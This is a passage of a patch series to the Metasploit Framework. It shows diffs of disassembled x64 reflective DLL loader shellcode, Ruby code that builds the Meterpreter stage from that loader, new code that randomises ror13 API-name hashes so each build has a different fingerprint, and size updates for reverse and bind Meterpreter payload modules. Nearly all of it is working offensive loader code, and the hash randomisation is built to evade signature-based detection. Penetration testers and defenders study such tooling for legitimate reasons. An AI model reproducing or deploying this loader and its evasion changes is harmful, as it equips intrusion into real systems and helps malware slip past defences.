85c0 test eax, eax - - 0x142f + + 0x1432 instruction 745d - je 0x148e + je 0x1491 - - + + - - 0x1431 + + 0x1434 instructions-graph - 0x1431 + 0x1434 instructions - - 0x1431 + + 0x1434 instruction 83e808 sub eax, 8 - - 0x1434 + + 0x1437 instruction d1e8 shr eax, 1 - - 0x1436 + + 0x1439 instruction 4189c7 mov r15d, eax - - 0x1439 + + 0x143c instruction 418b06 mov eax, dword ptr [r14] - - 0x143c + + 0x143f instruction 4c8b6dd0 mov r13, qword ptr [rbp - 0x30] - - 0x1440 + + 0x1443 instruction 4901c5 add r13, rax - - 0x1443 + + 0x1446 instruction 4d8d6608 lea r12, [r14 + 8] - - - - - - - + + + + + + + - - 0x1447 + + 0x144a instructions-graph - 0x1447 + 0x144a instructions - - 0x1447 + + 0x144a instruction 4585ff test r15d, r15d - - 0x144a + + 0x144d instruction 7439 - je 0x1485 + je 0x1488 - + - - 0x144c + + 0x144f instructions-graph - 0x144c + 0x144f instructions - - 0x144c + + 0x144f instruction 410fb70424 movzx eax, word ptr [r12] - - 0x1451 + + 0x1454 instruction 89c3 mov ebx, eax - - 0x1453 + + 0x1456 instruction c1eb0c shr ebx, 0xc - - 0x1456 + + 0x1459 instruction 25ff0f0000 and eax, 0xfff - - 0x145b + + 0x145e instruction 83fb0a cmp ebx, 0xa - - 0x145e + + 0x1461 instruction 7407 - je 0x1467 + je 0x146a - - - - - - - - + + + + + + + + - - 0x1460 + + 0x1463 instructions-graph - 0x1460 + 0x1463 instructions - - 0x1460 + + 0x1463 instruction 83fb03 cmp ebx, 3 - - 0x1463 + + 0x1466 instruction 740d - je 0x1472 + je 0x1475 - + - - 0x1465 + + 0x1468 instructions-graph - 0x1465 + 0x1468 instructions - - 0x1465 + + 0x1468 instruction eb15 - jmp 0x147c + jmp 0x147f - - 0x1467 + + 0x146a instructions-graph - 0x1467 + 0x146a instructions - - 0x1467 + + 0x146a instruction 488b55d8 mov rdx, qword ptr [rbp - 0x28] - - 0x146b + + 0x146e instruction 4901540500 add qword ptr [r13 + rax], rdx - - 0x1470 + + 0x1473 instruction eb0a - jmp 0x147c + jmp 0x147f - - + + - - 0x1472 + + 0x1475 instructions-graph - 0x1472 + 0x1475 instructions - - 0x1472 + + 0x1475 instruction 8b55d8 mov edx, dword ptr [rbp - 0x28] - - 0x1475 + + 0x1478 instruction 4101540500 add dword ptr [r13 + rax], edx - - 0x147a + + 0x147d instruction eb00 - jmp 0x147c + jmp 0x147f - + - - 0x147c + + 0x147f instructions-graph - 0x147c + 0x147f instructions - - 0x147c + + 0x147f instruction 4983c402 add r12, 2 - - 0x1480 + + 0x1483 instruction 41ffcf dec r15d - - 0x1483 + + 0x1486 instruction ebc2 - jmp 0x1447 + jmp 0x144a - - + + - - 0x1485 + + 0x1488 instructions-graph - 0x1485 + 0x1488 instructions - - 0x1485 + + 0x1488 instruction 418b4604 mov eax, dword ptr [r14 + 4] - - 0x1489 + + 0x148c instruction 4901c6 add r14, rax - - 0x148c + + 0x148f instruction eb9b - jmp 0x1429 + jmp 0x142c - - + + - - 0x148e + + 0x1491 instructions-graph - 0x148e + 0x1491 instructions - - 0x148e + + 0x1491 instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x1492 + + 0x1495 instruction 8b413c mov eax, dword ptr [rcx + 0x3c] - - 0x1495 + + 0x1498 instruction 4c8d2401 lea r12, [rcx + rax] - - 0x1499 + + 0x149c instruction 490fb7442414 movzx rax, word ptr [r12 + 0x14] - - 0x149f + + 0x14a2 instruction 4d8d6c0418 lea r13, [r12 + rax + 0x18] - - 0x14a4 + + 0x14a7 instruction 450fb77c2406 movzx r15d, word ptr [r12 + 6] - - - - - - - - + + + + + + + + - - 0x14aa + + 0x14ad instructions-graph - 0x14aa + 0x14ad instructions - - 0x14aa + + 0x14ad instruction 4585ff test r15d, r15d - - 0x14ad + + 0x14b0 instruction 7478 - je 0x1527 + je 0x152a - + - - 0x14af + + 0x14b2 instructions-graph - 0x14af + 0x14b2 instructions - - 0x14af + + 0x14b2 instruction 418b4508 mov eax, dword ptr [r13 + 8] - - 0x14b3 + + 0x14b6 instruction 85c0 test eax, eax - - 0x14b5 + + 0x14b8 instruction 7467 - je 0x151e + je 0x1521 - - + + - - 0x14b7 + + 0x14ba instructions-graph - 0x14b7 + 0x14ba instructions - - 0x14b7 + + 0x14ba instruction 418b4524 mov eax, dword ptr [r13 + 0x24] - - 0x14bb + + 0x14be instruction c1e81d shr eax, 0x1d - - 0x14be + + 0x14c1 instruction 83e007 and eax, 7 - - 0x14c1 + + 0x14c4 instruction - e914010000 - jmp 0x15da + e917010000 + jmp 0x15e0 - - - + + + - - 0x14c6 + + 0x14c9 instructions-graph - 0x14c6 + 0x14c9 instructions - - 0x14c6 + + 0x14c9 instruction 5b pop rbx - - 0x14c7 + + 0x14ca instruction 0fb61c03 movzx ebx, byte ptr [rbx + rax] - - 0x14cb + + 0x14ce instruction 4883ec48 sub rsp, 0x48 - - 0x14cf + + 0x14d2 instruction 418b450c mov eax, dword ptr [r13 + 0xc] - - 0x14d3 + + 0x14d6 instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x14d7 + + 0x14da instruction 4801c1 add rcx, rax - - 0x14da + + 0x14dd instruction 48894c2430 mov qword ptr [rsp + 0x30], rcx - - 0x14df + + 0x14e2 instruction 418b4508 mov eax, dword ptr [r13 + 8] - - 0x14e3 + + 0x14e6 instruction 4889442438 mov qword ptr [rsp + 0x38], rax - - 0x14e8 + + 0x14eb instruction c744244000000000 mov dword ptr [rsp + 0x40], 0 - - 0x14f0 + + 0x14f3 instruction 48c7c1ffffffff mov rcx, 0xffffffffffffffff - - 0x14f7 + + 0x14fa instruction 488d542430 lea rdx, [rsp + 0x30] - - 0x14fc + + 0x14ff instruction 4c8d442438 lea r8, [rsp + 0x38] - - 0x1501 + + 0x1504 instruction 4189d9 mov r9d, ebx - - 0x1504 + + 0x1507 instruction 488d442440 lea rax, [rsp + 0x40] - - 0x1509 + + 0x150c instruction 4889442420 mov qword ptr [rsp + 0x20], rax - - 0x150e + + 0x1511 instruction 4c8b9568ffffff mov r10, qword ptr [rbp - 0x98] - - 0x1515 + + 0x1518 instruction e866000000 - call 0x1580 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0x151a - instructions-graph - - 0x151a - instructions - - 0x151a + call 0x1583 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x151d + instructions-graph + + 0x151d + instructions + + 0x151d instruction 4883c448 add rsp, 0x48 - - 0x151e + + 0x1521 instructions-graph - 0x151e + 0x1521 instructions - - 0x151e + + 0x1521 instruction 4983c528 add r13, 0x28 - - 0x1522 + + 0x1525 instruction 41ffcf dec r15d - - 0x1525 + + 0x1528 instruction eb83 - jmp 0x14aa + jmp 0x14ad - - + + - - 0x1527 + + 0x152a instructions-graph - 0x1527 + 0x152a instructions - - 0x1527 + + 0x152a instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x152b + + 0x152e instruction 8b413c mov eax, dword ptr [rcx + 0x3c] - - 0x152e + + 0x1531 instruction 4c8d2401 lea r12, [rcx + rax] - - 0x1532 + + 0x1535 instruction 418b442428 mov eax, dword ptr [r12 + 0x28] - - 0x1537 + + 0x153a instruction 4c8b6dd0 mov r13, qword ptr [rbp - 0x30] - - 0x153b + + 0x153e instruction 4901c5 add r13, rax - - 0x153e + + 0x1541 instruction 4883ec28 sub rsp, 0x28 - - 0x1542 + + 0x1545 instruction 48c7c1ffffffff mov rcx, 0xffffffffffffffff - - 0x1549 + + 0x154c instruction 4831d2 xor rdx, rdx - - 0x154c + + 0x154f instruction 4531c0 xor r8d, r8d - - 0x154f + + 0x1552 instruction ff55e0 call qword ptr [rbp - 0x20] - - - - - - - - - - - - - - - - - - - - - - - - 0x1552 - instructions-graph - - 0x1552 - instructions - - 0x1552 + + + + + + + + + + + + + + + + + + + + + + + + 0x1555 + instructions-graph + + 0x1555 + instructions + + 0x1555 instruction 4883c428 add rsp, 0x28 - - 0x1556 + + 0x1559 instruction 4883ec28 sub rsp, 0x28 - - 0x155a + + 0x155d instruction 488b4dd0 mov rcx, qword ptr [rbp - 0x30] - - 0x155e + + 0x1561 instruction ba01000000 mov edx, 1 - - 0x1563 + + 0x1566 instruction 4531c0 xor r8d, r8d - - 0x1566 + + 0x1569 instruction 41ffd5 call r13 - - - - - - + + + + + + - - 0x1569 + + 0x156c instructions-graph - 0x1569 + 0x156c instructions - - 0x1569 + + 0x156c instruction 4883c428 add rsp, 0x28 - - 0x156d + + 0x1570 instruction 4c89e8 mov rax, r13 - - 0x1570 + + 0x1573 instruction 415f pop r15 - - 0x1572 + + 0x1575 instruction 415e pop r14 - - 0x1574 + + 0x1577 instruction 415d pop r13 - - 0x1576 + + 0x1579 instruction 415c pop r12 - - 0x1578 + + 0x157b instruction 5f pop rdi - - 0x1579 + + 0x157c instruction 5e pop rsi - - 0x157a + + 0x157d instruction 5b pop rbx - - 0x157b + + 0x157e instruction 4889ec mov rsp, rbp - - 0x157e + + 0x1581 instruction 5d pop rbp - - 0x157f + + 0x1582 instruction c3 ret - - - - - - - - - - - + + + + + + + + + + + - - 0x1580 + + 0x1583 instructions-graph - 0x1580 + 0x1583 instructions - - 0x1580 + + 0x1583 instruction 418b4204 mov eax, dword ptr [r10 + 4] - - 0x1584 + + 0x1587 instruction 4d8d5a08 lea r11, [r10 + 8] - - 0x1588 + + 0x158b instruction 4989ca mov r10, rcx - - 0x158b + + 0x158e instruction 41ffe3 jmp r11 - - - - + + + + - - 0x158e + + 0x1591 instructions-graph - 0x158e + 0x1591 instructions - - 0x158e + + 0x1591 instruction 418b453c mov eax, dword ptr [r13 + 0x3c] - - 0x1592 + + 0x1595 instruction 498d5c0500 lea rbx, [r13 + rax] - - 0x1597 + + 0x159a instruction 8b8388000000 mov eax, dword ptr [rbx + 0x88] - - 0x159d + + 0x15a0 instruction 498d4c0500 lea rcx, [r13 + rax] - - 0x15a2 + + 0x15a5 instruction 48894dc0 mov qword ptr [rbp - 0x40], rcx - - 0x15a6 + + 0x15a9 instruction 8b4118 mov eax, dword ptr [rcx + 0x18] - - 0x15a9 + + 0x15ac instruction 48894590 mov qword ptr [rbp - 0x70], rax - - 0x15ad + + 0x15b0 instruction 8b4120 mov eax, dword ptr [rcx + 0x20] - - 0x15b0 + + 0x15b3 instruction 498d440500 lea rax, [r13 + rax] - - 0x15b5 + + 0x15b8 instruction 488945b8 mov qword ptr [rbp - 0x48], rax - - 0x15b9 + + 0x15bc instruction 8b4124 mov eax, dword ptr [rcx + 0x24] - - 0x15bc + + 0x15bf instruction 498d440500 lea rax, [r13 + rax] - - 0x15c1 + + 0x15c4 instruction 488945b0 mov qword ptr [rbp - 0x50], rax - - 0x15c5 + + 0x15c8 instruction c3 ret - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + - - 0x15c6 + + 0x15c9 instructions-graph - 0x15c6 + 0x15c9 instructions - - 0x15c6 + + 0x15c9 instruction - 31c0 - xor eax, eax + b800000000 + mov eax, 0 - - 0x15c8 + + 0x15ce instructions-graph - 0x15c8 + 0x15ce instructions - - 0x15c8 + + 0x15ce instruction 0fb619 movzx ebx, byte ptr [rcx] - - 0x15cb + + 0x15d1 instruction 85db test ebx, ebx - - 0x15cd + + 0x15d3 instruction 740a - je 0x15d9 + je 0x15df - - + + - - 0x15cf + + 0x15d5 instructions-graph - 0x15cf + 0x15d5 instructions - - 0x15cf + + 0x15d5 instruction c1c80d ror eax, 0xd - - 0x15d2 + + 0x15d8 instruction 01d8 add eax, ebx - - 0x15d4 + + 0x15da instruction 48ffc1 inc rcx - - 0x15d7 + + 0x15dd instruction ebef - jmp 0x15c8 + jmp 0x15ce - - - - + + + + - - 0x15d9 + + 0x15df instructions-graph - 0x15d9 + 0x15df instructions - - 0x15d9 + + 0x15df instruction c3 ret - - 0x15da + + 0x15e0 instructions-graph - 0x15da + 0x15e0 instructions - - 0x15da + + 0x15e0 instruction - e8e7feffff - call 0x14c6 + e8e4feffff + call 0x14c9 - - 0x15df + + 0x15e5 data 0110022004400440 @@ -3661,98 +3661,98 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index bf8d2de1a527d..d2feb5f442d61 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -14,6 +14,7 @@ module Payload::Windows::MeterpreterLoader_x64 include Msf::ReflectiveDLLLoader include Msf::Payload::Windows + include Msf::Payload::Windows::ReflectiveLoaderX64 def initialize(info = {}) super(update_info(info, @@ -101,35 +102,27 @@ def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] custom_loader = ds['MeterpreterLoader::CustomLoader'] == true - # Exceptions will be thrown by the mixin if there are issues. - unless custom_loader - dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)) - asm_opts = { - rdi_offset: offset, - length: dll.length, - stageless: opts[:stageless] == true - } - else - dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))) + loader = reflective_loader() + if custom_loader custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x64.bin') unless ::File.exist?(custom_loader_path) print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") raise RuntimeError, "Custom loader not found at #{custom_loader_path}" end - custom_loader = ::File.binread(custom_loader_path) - asm_opts = { + loader = ::File.binread(custom_loader_path) + end + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))) + asm_opts = { rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader - length: dll.length + custom_loader.length, # the total length of the payload is the length of the custom loader + the dll + length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll stageless: opts[:stageless] == true } - puts("WARNING: Local file #{custom_loader_path} is being used") - vprint_status("Custom loader length: #{custom_loader.length} bytes") - vprint_status("DLL length: #{dll.length} bytes") - vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") - vprint_status("Configuration offset: #{asm_opts[:length]} bytes") - end - + puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader + vprint_status("Loader length: #{loader.length} bytes") + vprint_status("DLL length: #{dll.length} bytes") + vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") + vprint_status("Configuration offset: #{asm_opts[:length]} bytes") asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm @@ -142,12 +135,8 @@ def stage_meterpreter(opts={}) # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - dll = dll + custom_loader if custom_loader - dll + dll + loader end - -end - end - +end \ No newline at end of file diff --git a/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb new file mode 100644 index 0000000000000..02688a01806e4 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb @@ -0,0 +1,26 @@ +module Msf::Payload::Windows::ReflectiveLoaderX64 + + def reflective_loader(opts = {}) + iv = opts.fetch(:iv) { rand(0x100000000) } + + reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file( + File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x64.graphml'), + arch: ARCH_X64, + name: 'reflective_loader' + ) + + # Patch the assembly to set the correct IV + # db 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00 => mov r9d, + # iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + # unless asm.include?("db 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00") + # raise "Failed to patch block_api assembly with IV 0x#{iv.to_s(16).rjust(8, '0')} (#{iv_bytes})" + # end + # asm.sub!("db 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00", "db 0x41, 0xb9, #{iv_bytes}") + + + code = Metasm::Shellcode.assemble(Metasm::X64.new, reflective_loader_asm).encode_string + hash = Rex::Text.md5_raw(code).unpack("H*").first + vprint_status("Reflective Loader GraphML fingerprint: #{hash}") + code + end +end \ No newline at end of file From 1dc00e18539dfdab39ba1a4d37fe732e84659b80 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Thu, 14 May 2026 17:09:06 +0200 Subject: [PATCH 09/15] feat: function hash iv randomization for reflective loader x64 --- .../windows/x64/reflective_loader_x64.rb | 45 +++++++++++++++---- 1 file changed, 37 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb index 02688a01806e4..13225b905eff0 100644 --- a/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb @@ -1,7 +1,7 @@ module Msf::Payload::Windows::ReflectiveLoaderX64 def reflective_loader(opts = {}) - iv = opts.fetch(:iv) { rand(0x100000000) } + iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x64.graphml'), @@ -9,15 +9,44 @@ def reflective_loader(opts = {}) name: 'reflective_loader' ) - # Patch the assembly to set the correct IV - # db 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00 => mov r9d, - # iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') - # unless asm.include?("db 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00") - # raise "Failed to patch block_api assembly with IV 0x#{iv.to_s(16).rjust(8, '0')} (#{iv_bytes})" - # end - # asm.sub!("db 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00", "db 0x41, 0xb9, #{iv_bytes}") + _patch_bytes = lambda { |asm, oldbytes, newbytes| + unless asm.include?(oldbytes) + raise "Failed to patch, opcode: #{oldbytes} not found." + end + asm.sub!(oldbytes, newbytes) + } + _to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0| + name = name.unpack('C*').pack('v*') if unicode + fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF + [fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + } + # Patching IV + iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0x41, 0xbc, 0x00, 0x00, 0x00, 0x00", "db 0x41, 0xbc, #{iv_bytes}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}") + + vprint_status("Random IV: #{iv}") + patches = [ + { :base => "db 0x41, 0x81, 0xfc,", name: 'KERNEL32.DLL', unicode: true }, + { :base => "db 0x41, 0x81, 0xfc,", name: 'NTDLL.DLL', unicode: true}, + { :base => "db 0x3d,", name: 'LoadLibraryA', count: 2}, + { :base => "db 0x3d,", name: 'GetProcAddress'}, + { :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2}, + { :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'}, + { :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2}, + ] + + patches.each { |patch| + count = patch.fetch(:count) { 1 } + old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0) + new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv) + count.times do + vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}") + end + } code = Metasm::Shellcode.assemble(Metasm::X64.new, reflective_loader_asm).encode_string hash = Rex::Text.md5_raw(code).unpack("H*").first vprint_status("Reflective Loader GraphML fingerprint: #{hash}") From 688c02f957d882104ff90e2b19f89401d02eaa42 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 15 May 2026 14:43:26 +0200 Subject: [PATCH 10/15] fix: update block api x86 and x64 graphml --- data/shellcode/block_api.x64.graphml | 145 +++++++++--------- data/shellcode/block_api.x86.graphml | 213 +++++++++++++-------------- 2 files changed, 185 insertions(+), 173 deletions(-) diff --git a/data/shellcode/block_api.x64.graphml b/data/shellcode/block_api.x64.graphml index b1160d28b82ee..957881914a54c 100644 --- a/data/shellcode/block_api.x64.graphml +++ b/data/shellcode/block_api.x64.graphml @@ -4,6 +4,7 @@ + 0x1000 @@ -67,9 +68,12 @@ - + + + + @@ -101,14 +105,14 @@ - - 0x1023 + + 0x1026 instructions-graph - 0x1023 + 0x1026 instructions - - 0x1023 + + 0x1026 instruction 4831c0 xor rax, rax @@ -132,32 +136,33 @@ jl 0x1030 + - - 0x102b + + 0x102e instructions-graph - 0x102b + 0x102e instructions - - 0x102b + + 0x102e instruction 2c20 sub al, 0x20 - - 0x102d + + 0x1030 instructions-graph - 0x102d + 0x1030 instructions - - 0x102d + + 0x1030 instruction 41c1c90d ror r9d, 0xd @@ -178,14 +183,14 @@ - - 0x1036 + + 0x1039 instructions-graph - 0x1036 + 0x1039 instructions - - 0x1036 + + 0x1039 instruction 52 push rdx @@ -226,9 +231,11 @@ 756f jne 0x10bd - - + + + + @@ -236,14 +243,14 @@ - - 0x104b + + 0x104e instructions-graph - 0x104b + 0x104e instructions - - 0x104b + + 0x104e instruction 8b8088000000 mov eax, dword ptr [rax + 0x88] @@ -264,14 +271,14 @@ - - 0x1056 + + 0x1059 instructions-graph - 0x1056 + 0x1059 instructions - - 0x1056 + + 0x1059 instruction 4801d0 add rax, rdx @@ -303,31 +310,34 @@ + + + - - 0x1064 + + 0x1067 instructions-graph - 0x1064 + 0x1067 instructions - - 0x1064 + + 0x1067 instruction e353 jrcxz 0x10bc - - 0x1066 + + 0x1069 instructions-graph - 0x1066 + 0x1069 instructions - - 0x1066 + + 0x1069 instruction 48ffc9 dec rcx @@ -350,19 +360,19 @@ 448b4c2408 mov r9d, dword ptr [rsp + 8] - + - - 0x1073 + + 0x1078 instructions-graph - 0x1073 + 0x1078 instructions - - 0x1073 + + 0x1078 instruction 4831c0 xor rax, rax @@ -408,19 +418,13 @@ - - 0x1082 + + 0x1087 instructions-graph - 0x1082 + 0x1087 instructions - - 0x1082 - instruction - 4c034c2408 - add r9, qword ptr [rsp + 8] - - + 0x1087 instruction 4539d1 @@ -555,29 +559,38 @@ ffe0 jmp rax - - + + + + + + - - + - + - + + + + + - + + + diff --git a/data/shellcode/block_api.x86.graphml b/data/shellcode/block_api.x86.graphml index 863385a014723..286a2114c6fe5 100644 --- a/data/shellcode/block_api.x86.graphml +++ b/data/shellcode/block_api.x86.graphml @@ -4,6 +4,7 @@ + 0x1000 @@ -47,8 +48,11 @@ 8b5214 mov edx, dword ptr [edx + 0x14] - + + + + @@ -80,14 +84,14 @@ - - 0x1018 + + 0x101b instructions-graph - 0x1018 + 0x101b instructions - - 0x1018 + + 0x101b instruction 31c0 xor eax, eax @@ -111,32 +115,33 @@ jl 0x1024 + - - 0x101f + + 0x1022 instructions-graph - 0x101f + 0x1022 instructions - - 0x101f + + 0x1022 instruction 2c20 sub al, 0x20 - - 0x1021 + + 0x1024 instructions-graph - 0x1021 + 0x1024 instructions - - 0x1021 + + 0x1024 instruction c1cf0d ror edi, 0xd @@ -164,14 +169,14 @@ - - 0x1029 + + 0x102c instructions-graph - 0x1029 + 0x102c instructions - - 0x1029 + + 0x102c instruction 52 push edx @@ -220,23 +225,26 @@ - + + + + - - 0x103a + + 0x103d instructions-graph - 0x103a + 0x103d instructions - - 0x103a + + 0x103d instruction 01d0 add eax, edx @@ -268,17 +276,20 @@ + + + - - 0x1045 + + 0x1048 instructions-graph - 0x1045 + 0x1048 instructions - - 0x1045 + + 0x1048 instruction 85c9 test ecx, ecx @@ -292,14 +303,14 @@ - - 0x1049 + + 0x104c instructions-graph - 0x1049 + 0x104c instructions - - 0x1049 + + 0x104c instruction 49 dec ecx @@ -322,19 +333,19 @@ 8b7df8 mov edi, dword ptr [ebp - 8] - + - - 0x1051 + + 0x1055 instructions-graph - 0x1051 + 0x1055 instructions - - 0x1051 + + 0x1055 instruction 31c0 xor eax, eax @@ -379,20 +390,14 @@ - - 0x105d + + 0x1061 instructions-graph - 0x105d + 0x1061 instructions - - 0x105d - instruction - 037df8 - add edi, dword ptr [ebp - 8] - - - 0x1060 + + 0x1061 instruction 3b7d24 cmp edi, dword ptr [ebp + 0x24] @@ -406,14 +411,14 @@ - - 0x1065 + + 0x1066 instructions-graph - 0x1065 + 0x1066 instructions - - 0x1065 + + 0x1066 instruction 58 pop eax @@ -508,52 +513,46 @@ ffe0 jmp eax - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0x1085 - instructions-graph - - 0x1085 - instructions - - 0x1085 - instruction - 58 - pop eax - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -572,10 +571,10 @@ 0x1087 - block + instructions-graph 0x1087 - block + instructions 0x1087 instruction From 7b3c7abf7de7cf3c114f8ceee475b73269bcc53a Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 15 May 2026 14:44:08 +0200 Subject: [PATCH 11/15] fix: update stageless windows meterpreter cachedsize --- .../payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index f705195f500e5..c0f54b78347b4 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 090cb171f2e56..500402055ce01 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 8683c867fb22a..e89c6eddad373 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 249948 + CachedSize = 251580 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index ab26531892a8c..0dfc4de23c9b3 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 249948 + CachedSize = 251580 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 6dcfc235c56f8..d5af7e685dea9 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index ca9321ddfdf62..6d023a6c72d77 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 86783226f52eb0c8de989691e3a119e31216e638 Mon Sep 17 00:00:00 2001 From: jbx81-1337 Date: Fri, 10 Jul 2026 16:00:31 +0200 Subject: [PATCH 12/15] feat: add reflective_loader x86 graphml --- 